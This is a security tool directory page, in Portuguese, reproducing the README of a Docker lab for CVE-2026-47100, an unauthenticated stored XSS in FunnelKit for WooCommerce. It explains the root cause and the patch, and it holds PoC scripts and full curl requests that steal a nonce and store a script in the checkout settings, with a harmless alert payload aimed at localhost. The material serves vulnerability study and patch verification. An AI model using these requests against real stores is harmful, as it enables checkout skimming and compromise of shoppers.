Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-47100-Analysis-Lab — Laboratório Docker local para reproduzir a CVE-2026-47100, um XSS armazenado não autenticado no FunnelKit for WooCommerce. Inclui scripts de PoC para comparar versões vulneráveis e corrigidas. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
Análise de VulnerabilidadesExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Laboratório Docker local para reproduzir a CVE-2026-47100, um XSS armazenado não autenticado no FunnelKit for WooCommerce. Inclui scripts de PoC para comparar versões vulneráveis e corrigidas.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout — Laboratório de XSS Armazenado

Laboratório Docker local para reproduzir o CVE-2026-47100 de forma segura e com o menor dano possível. Este laboratório compara uma versão vulnerável do FunnelKit com uma versão corrigida e verifica o comportamento usando um marcador/alerta JavaScript inofensivo.


1. Visão Geral

O CVE-2026-47100 é uma vulnerabilidade de autorização ausente no Funnel Builder / FunnelKit for WooCommerce Checkout anterior à versão 3.15.0.3.

O fluxo AJAX vulnerável do checkout permite que um visitante não autenticado invoque um método interno do plugin e grave dados na configuração interna de script externo global do FunnelKit. Como essa configuração é renderizada posteriormente nas páginas de checkout do FunnelKit, o problema pode se tornar XSS Armazenado não autenticado nas páginas de checkout.

Este repositório reproduz o problema localmente usando dois serviços Docker:

ServiçoVersãoURLResultado esperado
vuln3.15.0.2http://127.0.0.1:8081comportamento vulnerável confirmado
patched3.15.0.3http://127.0.0.1:8082gravação bloqueada / marcador não renderizado

2. Captura de tela da descoberta no Vulnx

vulnx

Seleção inicial do CVE a partir da saída do Vulnx. O laboratório e o PoC foram construídos manualmente comparando o comportamento vulnerável e o corrigido.


3. Impacto

Um atacante não autenticado pode abusar do fluxo AJAX público do checkout para persistir JavaScript na configuração de script externo global do FunnelKit.

Em uma loja WooCommerce real, isso poderia permitir que JavaScript malicioso fosse executado no navegador de usuários que visitam a página de checkout. Relatórios públicos têm associado essa classe de vulnerabilidade a campanhas de skimming em checkouts.

Este laboratório usa intencionalmente apenas um marcador de prova inofensivo:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Causa raiz

A versão vulnerável aceita dados de checkout controlados pelo usuário a partir do endpoint AJAX público do WooCommerce:

root@kitploit:~
/?wc-ajax=update_order_review

Dentro do fluxo de checkout do FunnelKit, a requisição pode incluir:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

A lógica vulnerável verifica se o nome da ação fornecida existe como um método de classe. Se o método existe, ele pode ser invocado a partir do fluxo público de checkout.

Comportamento vulnerável simplificado:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

A ação importante controlada pelo atacante é:

root@kitploit:~
update_global_settings_fields

Esse método atualiza a opção do WordPress:

root@kitploit:~
_wfacp_global_settings

e especificamente a chave interna do FunnelKit:

root@kitploit:~
wfacp_global_external_script

O valor armazenado é lido posteriormente pelo template de checkout e renderizado na página de checkout. Isso cria a condição de XSS Armazenado.

Cadeia de exploração:

root@kitploit:~
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. Resumo do patch

A versão 3.15.0.3 reforça o caminho vulnerável com duas mudanças importantes.

5.1 Lista de permissão de ações públicas

A versão corrigida restringe quais ações de checkout podem ser invocadas a partir do fluxo público de checkout.

Comportamento corrigido simplificado:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

Isso impede que métodos internos arbitrários, como update_global_settings_fields, sejam acionados por requisições de checkout não autenticadas.

5.2 Verificação de capacidade antes da atualização das configurações

A versão corrigida também adiciona uma verificação de autorização antes que as configurações globais possam ser atualizadas:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

Isso significa que a configuração de script externo global só deve ser gravável por usuários com privilégios de gerenciamento do WooCommerce.


6. Arquitetura do Laboratório

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

O processo de seed cria:

root@kitploit:~
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

O laboratório usa uma URL de checkout determinística:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

Isso carrega explicitamente o post personalizado de checkout do FunnelKit no laboratório Docker local.


7. Executando o Laboratório

Inicie o laboratório:

root@kitploit:~
docker compose up -d --build

Verifique os serviços:

root@kitploit:~
docker compose ps

Serviços esperados:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Instale as dependências Python:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. Scripts de PoC

8.1 PoC do Laboratório

poc/poc_lab.py é o PoC determinístico do laboratório.

Ele assume os seguintes valores de seed do Docker local:

root@kitploit:~
product_id = 10
checkout_post_id = 11

Execute contra o serviço vulnerável:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

Resultado esperado:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Execute contra o serviço corrigido:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

Resultado esperado:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Ferramenta genérica de autoteste autorizado

poc/poc_check.py é uma ferramenta de autoteste autorizado mais portátil.

Apenas verificação passiva:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Verificação ativa autorizada:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Modo apenas com marcador, sem alerta:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Tentativa de limpeza:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Teste Manual

9.1 Serviço vulnerável

Crie uma nova sessão WooCommerce e adicione o produto do laboratório ao carrinho:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

Obtenha a página de checkout do FunnelKit e extraia o nonce de checkout do WooCommerce:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

Envie a requisição AJAX de checkout forjada:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Verifique se a opção foi gravada:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Resultado esperado:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

Verifique se o marcador é renderizado:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Abra no navegador para ver o alerta inofensivo:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 Serviço corrigido

Repita o mesmo fluxo na porta 8082:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Verifique se a opção permanece inalterada:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Resultado esperado:

root@kitploit:~
[]

Verifique se o marcador não é renderizado:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Resultado esperado: nenhuma saída.


10. Resumo das Evidências

O serviço vulnerável confirma o problema quando todos os itens a seguir são verdadeiros:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

O serviço corrigido confirma a correção quando:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. Notas de Segurança

Este repositório é apenas para pesquisa de segurança local e autorizada.

Escopo permitido:

root@kitploit:~
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test

Não permitido:

root@kitploit:~
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores

O PoC usa apenas um alerta e um marcador inofensivos.


12. Referências

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • Advisory da VulnCheck: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Pesquisa da Sansec: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • Changeset do WordPress Trac: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
Baixar ferramenta